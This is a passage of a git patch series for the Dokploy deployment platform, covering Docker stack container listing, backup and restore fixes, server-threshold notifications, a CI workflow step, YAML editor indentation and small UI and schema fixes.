{container.containerId || "-"} - - - - - - - Actions - + {!container.containerId ? null : ( + + + + + + + Actions + + e.preventDefault()} + > + View Logs + + + + + + + Terminal + + e.preventDefault()} + disabled={actionLoading !== null} + onClick={() => handleAction("restart", restartMutation)} > - View Logs + Restart - - - - - - Terminal - - - handleAction("restart", restartMutation)} - > - Restart - - handleAction("start", startMutation)} - > - Start - - handleAction("stop", stopMutation)} - > - Stop - - handleAction("kill", killMutation)} - > - Kill - - - - - - View Logs - Logs for {container.name} - -
- -
-
-
+ handleAction("start", startMutation)} + > + Start + + handleAction("stop", stopMutation)} + > + Stop + + handleAction("kill", killMutation)} + > + Kill + + + + + + View Logs + Logs for {container.name} + +
+ +
+
+ + )}
); diff --git a/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx b/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx index 23bb4536d..a7b4d3014 100644 --- a/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx +++ b/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx @@ -57,7 +57,7 @@ export const ShowDockerLogsStack = ({ }, ); - const { data: containers, isPending: containersLoading } = + const { data, isPending: containersLoading } = api.docker.getContainersByAppNameMatch.useQuery( { appName, @@ -69,6 +69,8 @@ export const ShowDockerLogsStack = ({ }, ); + const containers = data?.filter((container) => container.containerId); + useEffect(() => { if (option === "native") { if (containers && containers?.length > 0) { diff --git a/packages/server/src/services/docker.ts b/packages/server/src/services/docker.ts index ea200e0c0..e95a84392 100644 --- a/packages/server/src/services/docker.ts +++ b/packages/server/src/services/docker.ts @@ -108,6 +108,9 @@ export const getContainersByAppNameMatch = async ( serverId?: string, ) => { try { + if (appType === "stack") { + return await getStackTaskContainers(appName, serverId); + } let result: string[] = []; const cmd = "docker ps -a --format 'CONTAINER ID : {{.ID}} | Name: {{.Names}} | State: {{.State}} | Status: {{.Status}}'"; @@ -166,6 +169,66 @@ export const getContainersByAppNameMatch = async ( return []; }; +const getStackTaskContainers = async (appName: string, serverId?: string) => { + try { + const divider = "__DOKPLOY_DIVIDER__"; + const tasksCommand = `docker stack ps ${appName} --no-trunc --filter "desired-state=running" --format 'TASK : {{.ID}} | Name: {{.Name}} | Node: {{.Node}} | CurrentState: {{.CurrentState}} | Error: {{.Error}}'`; + const inspectCommand = `docker stack ps ${appName} -q --no-trunc --filter "desired-state=running" | xargs -r docker inspect --format '{{if .Status.ContainerStatus}}TASK : {{.ID}} | ContainerId: {{.Status.ContainerStatus.ContainerID}}{{end}}' 2>/dev/null`; + const command = `${tasksCommand} && echo "${divider}" && (${inspectCommand} || true)`; + + let stdout = ""; + + if (serverId) { + const result = await execAsyncRemote(serverId, command); + stdout = result.stdout; + } else { + const result = await execAsync(command); + stdout = result.stdout; + } + + if (!stdout) return []; + + const [tasksSection = "", inspectSection = ""] = stdout.split(divider); + + const containerIdByTask = new Map(); + for (const line of inspectSection.trim().split("\n")) { + const parts = line.split(" | "); + const taskId = parts[0]?.replace("TASK : ", "").trim(); + const containerId = parts[1]?.replace("ContainerId: ", "").trim(); + if (taskId && containerId) { + containerIdByTask.set(taskId, containerId); + } + } + + const containers = []; + + for (const line of tasksSection.trim().split("\n")) { + if (!line) continue; + const parts = line.split(" | "); + const taskId = parts[0]?.replace("TASK : ", "").trim() ?? ""; + const name = parts[1]?.replace("Name: ", "").trim() ?? ""; + const node = parts[2]?.replace("Node: ", "").trim() ?? ""; + const currentState = parts[3] + ? parts[3].replace("CurrentState: ", "").trim() + : ""; + const error = parts[4] ? parts[4].replace("Error: ", "").trim() : ""; + const containerId = containerIdByTask.get(taskId) ?? ""; + + containers.push({ + containerId: containerId.slice(0, 12), + name: `${name}.${taskId}`, + node, + state: currentState.split(" ")[0]?.toLowerCase() ?? "No state", + status: error ? `${currentState} (${error})` : currentState, + }); + } + + return containers; + } catch {} + + return []; +}; + export const getStackContainersByAppName = async ( appName: string, serverId?: string, @@ -175,7 +238,6 @@ export const getStackContainersByAppName = async ( const command = `docker stack ps ${appName} --no-trunc --format 'CONTAINER ID : {{.ID}} | Name: {{.Name}} | State: {{.DesiredState}} | Node: {{.Node}} | CurrentState: {{.CurrentState}} | Error: {{.Error}}'`; - console.log("command ", command); if (serverId) { const { stdout, stderr } = await execAsyncRemote(serverId, command); From bd92dfb8c14f0714da5b61889ec21926bc643bf4 Mon Sep 17 00:00:00 2001 From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com> Date: Sun, 9 Aug 2026 12:11:28 -0600 Subject: [PATCH 13/22] Merge pull request #5025 from Dokploy/fix/backup-double-dump-4222 fix: run database dump once per backup and clean up partial uploads on failure (cherry picked from commit 4791863ff97ae2a6f8465d4ef10735cd8371efa1) [skip ci] --- packages/server/src/utils/backups/compose.ts | 5 ++-- packages/server/src/utils/backups/libsql.ts | 6 ++-- packages/server/src/utils/backups/mariadb.ts | 5 ++-- packages/server/src/utils/backups/mongo.ts | 5 ++-- packages/server/src/utils/backups/mysql.ts | 6 ++-- packages/server/src/utils/backups/postgres.ts | 6 ++-- packages/server/src/utils/backups/utils.ts | 28 ++++++++----------- 7 files changed, 23 insertions(+), 38 deletions(-) diff --git a/packages/server/src/utils/backups/compose.ts b/packages/server/src/utils/backups/compose.ts index 296498ff3..7a5ba5535 100644 --- a/packages/server/src/utils/backups/compose.ts +++ b/packages/server/src/utils/backups/compose.ts @@ -37,11 +37,10 @@ export const runComposeBackup = async ( try { const rcloneFlags = getS3Credentials(destination); const rcloneDestination = `:s3:${destination.bucket}/${bucketDestination}`; - const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`; - const backupCommand = getBackupCommand( backup, - rcloneCommand, + rcloneFlags, + rcloneDestination, deployment.logPath, ); if (compose.serverId) { diff --git a/packages/server/src/utils/backups/libsql.ts b/packages/server/src/utils/backups/libsql.ts index 7f6c85f48..c4ece6ed6 100644 --- a/packages/server/src/utils/backups/libsql.ts +++ b/packages/server/src/utils/backups/libsql.ts @@ -36,12 +36,10 @@ export const runLibsqlBackup = async ( try { const rcloneFlags = getS3Credentials(destination); const rcloneDestination = `:s3:${destination.bucket}/${bucketDestination}`; - - const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`; - const backupCommand = getBackupCommand( backup, - rcloneCommand, + rcloneFlags, + rcloneDestination, deployment.logPath, ); if (libsql.serverId) { diff --git a/packages/server/src/utils/backups/mariadb.ts b/packages/server/src/utils/backups/mariadb.ts index 121910ee8..4a3f7dc26 100644 --- a/packages/server/src/utils/backups/mariadb.ts +++ b/packages/server/src/utils/backups/mariadb.ts @@ -35,11 +35,10 @@ export const runMariadbBackup = async ( try { const rcloneFlags = getS3Credentials(destination); const rcloneDestination = `:s3:${destination.bucket}/${bucketDestination}`; - const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`; - const backupCommand = getBackupCommand( backup, - rcloneCommand, + rcloneFlags, + rcloneDestination, deployment.logPath, ); if (mariadb.serverId) { diff --git a/packages/server/src/utils/backups/mongo.ts b/packages/server/src/utils/backups/mongo.ts index 4b212d70c..6b80ccc86 100644 --- a/packages/server/src/utils/backups/mongo.ts +++ b/packages/server/src/utils/backups/mongo.ts @@ -32,11 +32,10 @@ export const runMongoBackup = async (mongo: Mongo, backup: BackupSchedule) => { try { const rcloneFlags = getS3Credentials(destination); const rcloneDestination = `:s3:${destination.bucket}/${bucketDestination}`; - const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`; - const backupCommand = getBackupCommand( backup, - rcloneCommand, + rcloneFlags, + rcloneDestination, deployment.logPath, ); diff --git a/packages/server/src/utils/backups/mysql.ts b/packages/server/src/utils/backups/mysql.ts index 8d0e6188a..2ac9228be 100644 --- a/packages/server/src/utils/backups/mysql.ts +++ b/packages/server/src/utils/backups/mysql.ts @@ -33,12 +33,10 @@ export const runMySqlBackup = async (mysql: MySql, backup: BackupSchedule) => { try { const rcloneFlags = getS3Credentials(destination); const rcloneDestination = `:s3:${destination.bucket}/${bucketDestination}`; - - const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`; - const backupCommand = getBackupCommand( backup, - rcloneCommand, + rcloneFlags, + rcloneDestination, deployment.logPath, ); diff --git a/packages/server/src/utils/backups/postgres.ts b/packages/server/src/utils/backups/postgres.ts index e57682f39..de7ef5500 100644 --- a/packages/server/src/utils/backups/postgres.ts +++ b/packages/server/src/utils/backups/postgres.ts @@ -36,12 +36,10 @@ export const runPostgresBackup = async ( try { const rcloneFlags = getS3Credentials(destination); const rcloneDestination = `:s3:${destination.bucket}/${bucketDestination}`; - - const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`; - const backupCommand = getBackupCommand( backup, - rcloneCommand, + rcloneFlags, + rcloneDestination, deployment.logPath, ); if (postgres.serverId) { diff --git a/packages/server/src/utils/backups/utils.ts b/packages/server/src/utils/backups/utils.ts index dba843956..4253a3876 100644 --- a/packages/server/src/utils/backups/utils.ts +++ b/packages/server/src/utils/backups/utils.ts @@ -259,11 +259,14 @@ export const generateBackupCommand = (backup: BackupSchedule) => { export const getBackupCommand = ( backup: BackupSchedule, - rcloneCommand: string, + rcloneFlags: string[], + rcloneDestination: string, logPath: string, ) => { const containerSearch = getContainerSearchCommand(backup); const backupCommand = generateBackupCommand(backup); + const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`; + const rcloneDeleteCommand = `rclone deletefile ${rcloneFlags.join(" ")} "${rcloneDestination}"`; logger.info( { @@ -279,33 +282,24 @@ export const getBackupCommand = ( set -eo pipefail; echo "[$(date)] Starting backup process..." >> ${logPath}; echo "[$(date)] Executing backup command..." >> ${logPath}; - CONTAINER_ID=$(${containerSearch}) + CONTAINER_ID=$(${containerSearch}); if [ -z "$CONTAINER_ID" ]; then echo "[$(date)] ❌ Error: Container not found" >> ${logPath}; exit 1; - fi + fi; echo "[$(date)] Container Up: $CONTAINER_ID" >> ${logPath}; + echo "[$(date)] Starting backup and upload to S3..." >> ${logPath}; - # Run the backup command and capture the exit status - BACKUP_OUTPUT=$(${backupCommand} 2>&1 >/dev/null) || { + UPLOAD_OUTPUT=$({ ${backupCommand} | ${rcloneCommand}; } 2>&1 >/dev/null) || { echo "[$(date)] ❌ Error: Backup failed" >> ${logPath}; - echo "Error: $BACKUP_OUTPUT" >> ${logPath}; - exit 1; - } - - echo "[$(date)] ✅ backup completed successfully" >> ${logPath}; - echo "[$(date)] Starting upload to S3..." >> ${logPath}; - - # Run the upload command and capture the exit status - UPLOAD_OUTPUT=$(${backupCommand} | ${rcloneCommand} 2>&1 >/dev/null) || { - echo "[$(date)] ❌ Error: Upload to S3 failed" >> ${logPath}; echo "Error: $UPLOAD_OUTPUT" >> ${logPath}; + ${rcloneDeleteCommand} >/dev/null 2>&1 || true; exit 1; - } + }; - echo "[$(date)] ✅ Upload to S3 completed successfully" >> ${logPath}; + echo "[$(date)] ✅ Backup uploaded to S3 successfully" >> ${logPath}; echo "Backup done ✅" >> ${logPath}; `; }; From 19958ee9d9baf734f980bd420c039e3591dfad41 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?= Date: Mon, 10 Aug 2026 23:29:21 -0400 Subject: [PATCH 14/22] Merge pull request #4969 from Dokploy/fix/server-threshold-email fix(notifications): send server threshold alerts through email, resend, gotify and ntfy (cherry picked from commit 218687f46d151489fa141bf23c8f213116da106f) [skip ci] --- .../src/emails/emails/server-threshold.tsx | 91 +++++++++++++++++++ .../utils/notifications/server-threshold.ts | 71 +++++++++++++++ 2 files changed, 162 insertions(+) create mode 100644 packages/server/src/emails/emails/server-threshold.tsx diff --git a/packages/server/src/emails/emails/server-threshold.tsx b/packages/server/src/emails/emails/server-threshold.tsx new file mode 100644 index 000000000..9a12f2296 --- /dev/null +++ b/packages/server/src/emails/emails/server-threshold.tsx @@ -0,0 +1,91 @@ +import { + Body, + Container, + Head, + Heading, + Html, + Img, + Preview, + Section, + Tailwind, + Text, +} from "@react-email/components"; +import { emailTailwindConfig } from "../tailwind-config"; + +export type TemplateProps = { + serverName: string; + type: "CPU" | "Memory"; + value: string; + threshold: string; + message: string; + date: string; +}; + +export const ServerThresholdEmail = ({ + serverName = "my-server", + type = "CPU", + value = "95.00", + threshold = "90.00", + message = "Resource usage exceeded the configured threshold", + date = "2023-05-01T00:00:00.000Z", +}: TemplateProps) => { + const previewText = `Server ${type} alert for ${serverName} ⚠️`; + return ( + + {previewText} + + + + + +
+ Dokploy +
+ + ⚠️ Server {type} alert for {serverName} + + + Hello, + + + The {type} usage on {serverName} exceeded the + configured threshold. + +
+ Details: + + Server Name: {serverName} + + + Type: {type} + + + Current Value: {value}% + + + Threshold: {threshold}% + + + Date: {date} + +
+
+ Message: + {message} +
+
+ +
+ + ); +}; + +export default ServerThresholdEmail; diff --git a/packages/server/src/utils/notifications/server-threshold.ts b/packages/server/src/utils/notifications/server-threshold.ts index bcabf2cc3..2c1ad8902 100644 --- a/packages/server/src/utils/notifications/server-threshold.ts +++ b/packages/server/src/utils/notifications/server-threshold.ts @@ -1,12 +1,18 @@ +import { render } from "@react-email/components"; import { and, eq } from "drizzle-orm"; import { db } from "../../db"; import { notifications } from "../../db/schema"; +import ServerThresholdEmail from "../../emails/emails/server-threshold"; import { sendCustomNotification, sendDiscordNotification, + sendEmailNotification, + sendGotifyNotification, sendLarkNotification, sendMattermostNotification, + sendNtfyNotification, sendPushoverNotification, + sendResendNotification, sendSlackNotification, sendTeamsNotification, sendTelegramNotification, @@ -39,6 +45,9 @@ export const sendServerThresholdNotifications = async ( discord: true, telegram: true, slack: true, + resend: true, + gotify: true, + ntfy: true, mattermost: true, custom: true, lark: true, @@ -52,9 +61,13 @@ export const sendServerThresholdNotifications = async ( for (const notification of notificationList) { const { + email, discord, telegram, slack, + resend, + gotify, + ntfy, mattermost, custom, lark, @@ -63,6 +76,64 @@ export const sendServerThresholdNotifications = async ( } = notification; try { + if (email || resend) { + const template = await render( + ServerThresholdEmail({ + serverName: payload.ServerName, + type: payload.Type, + value: payload.Value.toFixed(2), + threshold: payload.Threshold.toFixed(2), + message: payload.Message, + date: date.toLocaleString(), + }), + ); + + if (email) { + await sendEmailNotification( + email, + `Server ${payload.Type} alert for ${payload.ServerName}`, + template, + ); + } + + if (resend) { + await sendResendNotification( + resend, + `Server ${payload.Type} alert for ${payload.ServerName}`, + template, + ); + } + } + + if (gotify) { + const decorate = (decoration: string, text: string) => + `${gotify.decoration ? decoration : ""} ${text}\n`; + + await sendGotifyNotification( + gotify, + decorate("⚠️", `Server ${payload.Type} Alert`), + `${decorate("🏷️", `Server: ${payload.ServerName}`)}` + + `${decorate("📊", `Current Value: ${payload.Value.toFixed(2)}%`)}` + + `${decorate("⚠️", `Threshold: ${payload.Threshold.toFixed(2)}%`)}` + + `${decorate("📜", `Message: ${payload.Message}`)}` + + `${decorate("🕒", `Date: ${date.toLocaleString()}`)}`, + ); + } + + if (ntfy) { + await sendNtfyNotification( + ntfy, + `Server ${payload.Type} Alert`, + "warning", + "", + `🏷️Server: ${payload.ServerName}\n` + + `📊Current Value: ${payload.Value.toFixed(2)}%\n` + + `⚠️Threshold: ${payload.Threshold.toFixed(2)}%\n` + + `📜Message: ${payload.Message}\n` + + `🕒Date: ${date.toLocaleString()}`, + ); + } + if (discord) { const decorate = (decoration: string, text: string) => `${discord.decoration ? decoration : ""} ${text}`.trim(); From 2003886aa009f07cbf8bd2fba13af5a8002ab7f3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?= Date: Mon, 10 Aug 2026 23:40:10 -0400 Subject: [PATCH 15/22] Merge pull request #4967 from Dokploy/fix/restore-drop-use-statements fix(restore): drop USE/CREATE DATABASE statements so mysql/mariadb restores target the selected database (cherry picked from commit ce0fe63b4af4027915ee846defa1607391f0be9d) [skip ci] --- .../backups/restore-use-statement.test.ts | 57 +++++++++++++++++++ packages/server/src/utils/restore/utils.ts | 8 ++- 2 files changed, 64 insertions(+), 1 deletion(-) create mode 100644 apps/dokploy/__test__/backups/restore-use-statement.test.ts diff --git a/apps/dokploy/__test__/backups/restore-use-statement.test.ts b/apps/dokploy/__test__/backups/restore-use-statement.test.ts new file mode 100644 index 000000000..51b0ce904 --- /dev/null +++ b/apps/dokploy/__test__/backups/restore-use-statement.test.ts @@ -0,0 +1,57 @@ +import { execSync } from "node:child_process"; +import { + getRestoreCommand, + stripDatabaseSwitchCommand, +} from "@dokploy/server/utils/restore/utils"; +import { describe, expect, it } from "vitest"; + +const filter = (input: string) => + execSync(stripDatabaseSwitchCommand, { + input, + shell: "/bin/bash", + }).toString(); + +describe("restore drops database-switch statements (mysql/mariadb)", () => { + const dump = [ + "-- MariaDB dump", + "CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;", + "USE `production_db`;", + "use production_db;", + "DROP TABLE IF EXISTS `users`;", + "CREATE TABLE `users` (`id` int NOT NULL);", + "INSERT INTO `users` VALUES (1),(2);", + "INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');", + ].join("\n"); + + it("removes USE and CREATE DATABASE lines but keeps everything else", () => { + const result = filter(dump); + expect(result).not.toContain("USE `production_db`"); + expect(result).not.toContain("use production_db"); + expect(result).not.toContain("CREATE DATABASE /*!32312"); + expect(result).toContain("DROP TABLE IF EXISTS `users`;"); + expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);"); + expect(result).toContain("INSERT INTO `users` VALUES (1),(2);"); + expect(result).toContain( + "INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');", + ); + }); + + it("is wired into mysql and mariadb restore pipelines only", () => { + const base = { + appName: "my-app", + restoreType: "database" as const, + credentials: { + database: "dev_db", + databaseUser: "u", + databasePassword: "p", + }, + rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip", + }; + for (const type of ["mysql", "mariadb"] as const) { + const cmd = getRestoreCommand({ ...base, type }); + expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`); + } + const pgCmd = getRestoreCommand({ ...base, type: "postgres" }); + expect(pgCmd).not.toContain(stripDatabaseSwitchCommand); + }); +}); diff --git a/packages/server/src/utils/restore/utils.ts b/packages/server/src/utils/restore/utils.ts index dd2934430..c232b6956 100644 --- a/packages/server/src/utils/restore/utils.ts +++ b/packages/server/src/utils/restore/utils.ts @@ -79,6 +79,10 @@ const generateRestoreCommand = ( } }; +// Dumps taken with `--databases` carry `USE`/`CREATE DATABASE` statements that +// would redirect the restore away from the database selected in the dialog. +export const stripDatabaseSwitchCommand = `grep -viE '^[[:space:]]*(use|create[[:space:]]+database)[[:space:]]'`; + const getMongoSpecificCommand = ( rcloneCommand: string, restoreCommand: string, @@ -125,7 +129,9 @@ export const getRestoreCommand = ({ const restoreCommand = generateRestoreCommand(type, credentials); let cmd = `CONTAINER_ID=$(${containerSearch})`; - if (type !== "mongo") { + if (type === "mysql" || type === "mariadb") { + cmd += ` && ${rcloneCommand} | ${stripDatabaseSwitchCommand} | ${restoreCommand}`; + } else if (type !== "mongo") { cmd += ` && ${rcloneCommand} | ${restoreCommand}`; } else { cmd += ` && ${getMongoSpecificCommand(rcloneCommand, restoreCommand, backupFile || "")}`; From c085ec3793d9c834deade5eb20c59cff8c33982b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?= Date: Tue, 11 Aug 2026 00:15:29 -0400 Subject: [PATCH 16/22] Merge pull request #4985 from Dokploy/fix/sync-version-release-spec fix(ci): generate OpenAPI spec from the release commit in sync-version (cherry picked from commit f9057d930446c82276e4d56a40e5a1f90f574135) [skip ci] --- .github/workflows/dokploy.yml | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/.github/workflows/dokploy.yml b/.github/workflows/dokploy.yml index e30b5d06a..08d6b8a5b 100644 --- a/.github/workflows/dokploy.yml +++ b/.github/workflows/dokploy.yml @@ -187,6 +187,16 @@ jobs: with: version: 10.22.0 + - uses: actions/setup-node@v4 + with: + node-version: 24.4.0 + cache: pnpm + + - name: Generate OpenAPI specification + run: | + pnpm install --frozen-lockfile + pnpm generate:openapi + - name: Sync version to MCP repository run: | git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo @@ -195,8 +205,8 @@ jobs: jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp mv package.json.tmp package.json + cp ${{ github.workspace }}/openapi.json src/generated/openapi.json pnpm install - pnpm run fetch-openapi pnpm run generate git config user.name "Dokploy Bot" From d39902d57565326d0d8c420bc3ad3ac5e926024a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?= Date: Tue, 11 Aug 2026 00:22:12 -0400 Subject: [PATCH 17/22] Merge pull request #4791 from PixelPerfector/fix/remote-threshold-server-name fix(notifications): use real server name in remote threshold alerts (cherry picked from commit 79b5ff96ca024baaa729e1c4a35c0a01536e6e9d) [skip ci] --- apps/dokploy/server/api/routers/notification.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/dokploy/server/api/routers/notification.ts b/apps/dokploy/server/api/routers/notification.ts index dd96bc302..ae1c35d12 100644 --- a/apps/dokploy/server/api/routers/notification.ts +++ b/apps/dokploy/server/api/routers/notification.ts @@ -535,7 +535,7 @@ export const notificationRouter = createTRPCRouter({ } organizationId = result?.[0]?.organizationId; - ServerName = "Remote"; + ServerName = result?.[0]?.name ?? "Remote"; } await sendServerThresholdNotifications(organizationId, { From fe85f0f9987e303a9b6d6e0c449513e56cfe8d23 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?= Date: Tue, 11 Aug 2026 00:40:52 -0400 Subject: [PATCH 18/22] Merge pull request #4828 from Dokploy/fix/yaml-editor-auto-indent fix(editor): consistent YAML auto-indent on newline (cherry picked from commit cf22a0e058dd7129dc28ebd5fd59d59bb04abaec) [skip ci] --- .../dokploy/components/shared/code-editor.tsx | 29 +++++++++++++++++-- 1 file changed, 27 insertions(+), 2 deletions(-) diff --git a/apps/dokploy/components/shared/code-editor.tsx b/apps/dokploy/components/shared/code-editor.tsx index f0347da60..7bdb644e3 100644 --- a/apps/dokploy/components/shared/code-editor.tsx +++ b/apps/dokploy/components/shared/code-editor.tsx @@ -7,7 +7,11 @@ import { import { css } from "@codemirror/lang-css"; import { json } from "@codemirror/lang-json"; import { yaml } from "@codemirror/lang-yaml"; -import { StreamLanguage } from "@codemirror/language"; +import { + getIndentUnit, + indentService, + StreamLanguage, +} from "@codemirror/language"; import { properties } from "@codemirror/legacy-modes/mode/properties"; import { shell } from "@codemirror/legacy-modes/mode/shell"; import { search, searchKeymap } from "@codemirror/search"; @@ -98,6 +102,27 @@ const dockerComposeServiceOptions = [ }, })); +// The indentNodeProp shipped with @codemirror/lang-yaml computes wrong +// column-based indents on Enter (odd/inconsistent amounts, see #4650), so +// indentation is resolved line-based here: keep the current indent, align +// list-entry keys after the dash marker, and go one unit deeper after a +// line that opens a block (ending in ":", "|" or ">"). +const yamlIndent = indentService.of((context, pos) => { + const line = context.state.doc.lineAt(pos); + const before = context.state.doc.sliceString(line.from, pos); + const indent = /^ */.exec(before)?.[0].length ?? 0; + const trimmed = before.trim(); + if (!trimmed || trimmed.startsWith("#")) { + return indent; + } + const base = + trimmed.startsWith("- ") && /:\s/.test(trimmed) ? indent + 2 : indent; + if (/[:|>]$/.test(trimmed)) { + return base + getIndentUnit(context.state); + } + return base; +}); + function dockerComposeComplete( context: CompletionContext, ): CompletionResult | null { @@ -160,7 +185,7 @@ export const CodeEditor = ({ search(), keymap.of(searchKeymap), language === "yaml" - ? yaml() + ? [yamlIndent, yaml()] : language === "json" ? json() : language === "css" From 790d7c1f3608e5573f0242ee45871c44f3f9a224 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?= Date: Tue, 11 Aug 2026 00:42:14 -0400 Subject: [PATCH 19/22] Merge pull request #4820 from techdawnarea/mariaDB-color-fix MariaDB svg color updated: in Dark theme its not visible properly (cherry picked from commit 00d96032099f5b8d9680673a3acc759b5dde4d6c) [skip ci] --- apps/dokploy/components/icons/data-tools-icons.tsx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/dokploy/components/icons/data-tools-icons.tsx b/apps/dokploy/components/icons/data-tools-icons.tsx index b828052a0..7a0d680aa 100644 --- a/apps/dokploy/components/icons/data-tools-icons.tsx +++ b/apps/dokploy/components/icons/data-tools-icons.tsx @@ -76,7 +76,7 @@ export const MariadbIcon = ({ className }: Props) => { > ); From 739fd0837213899e30bb6c74d181c2fbdf7c5c50 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?= Date: Tue, 11 Aug 2026 13:31:54 -0400 Subject: [PATCH 20/22] Merge pull request #4584 from andershermansen/fix/upgrade-traefik-3.6.20 fix(security): update Traefik from v3.6.7 to v3.6.25 (cherry picked from commit 870d592a973883f6648c17f56ababf3b5bdf2e7e) [skip ci] --- packages/server/src/setup/traefik-setup.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/server/src/setup/traefik-setup.ts b/packages/server/src/setup/traefik-setup.ts index 9fcebe540..17a9a284e 100644 --- a/packages/server/src/setup/traefik-setup.ts +++ b/packages/server/src/setup/traefik-setup.ts @@ -20,7 +20,7 @@ export const TRAEFIK_PORT = Number.parseInt(process.env.TRAEFIK_PORT!, 10) || 80; export const TRAEFIK_HTTP3_PORT = Number.parseInt(process.env.TRAEFIK_HTTP3_PORT!, 10) || 443; -export const TRAEFIK_VERSION = process.env.TRAEFIK_VERSION || "3.6.7"; +export const TRAEFIK_VERSION = process.env.TRAEFIK_VERSION || "3.6.25"; export interface TraefikOptions { env?: string[]; From 07f95a034f0e26b6de682adea687f8093f6b7f92 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?= Date: Wed, 12 Aug 2026 12:49:42 -0400 Subject: [PATCH 21/22] Merge pull request #4543 from linkthai/fix/mongo-replicaSets-false-after-update FIX: replicaSets default to false after updating mongo due to default (cherry picked from commit 2bda2ccc04370e1b1357af575e73a624fe62b1c2) [skip ci] --- packages/server/src/db/schema/mongo.ts | 1 + 1 file changed, 1 insertion(+) diff --git a/packages/server/src/db/schema/mongo.ts b/packages/server/src/db/schema/mongo.ts index ef3413ba5..b498c9068 100644 --- a/packages/server/src/db/schema/mongo.ts +++ b/packages/server/src/db/schema/mongo.ts @@ -196,6 +196,7 @@ export const apiUpdateMongo = createSchema .extend({ mongoId: z.string().min(1), dockerImage: z.string().optional(), + replicaSets: z.boolean().optional(), }) .omit({ serverId: true }); From eff6a1865e1d702a7794bfd4893962cc60a8cf2f Mon Sep 17 00:00:00 2001 From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com> Date: Thu, 13 Aug 2026 00:11:37 -0600 Subject: [PATCH 22/22] Merge pull request #5069 from Dokploy/fix/requests-scroll-lock-5064 fix: lock sidebar-inset scroll while a modal is open (cherry picked from commit 90e96e1806b876b52b58042ce44d75ac47ef2d70) [skip ci] --- apps/dokploy/styles/globals.css | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/apps/dokploy/styles/globals.css b/apps/dokploy/styles/globals.css index d212474c7..f26db2899 100644 --- a/apps/dokploy/styles/globals.css +++ b/apps/dokploy/styles/globals.css @@ -132,6 +132,10 @@ } } +body[data-scroll-locked] [data-slot="sidebar-inset"] { + overflow: hidden !important; +} + @utility no-scrollbar { /* Chrome, Safari and Opera */ &::-webkit-scrollbar {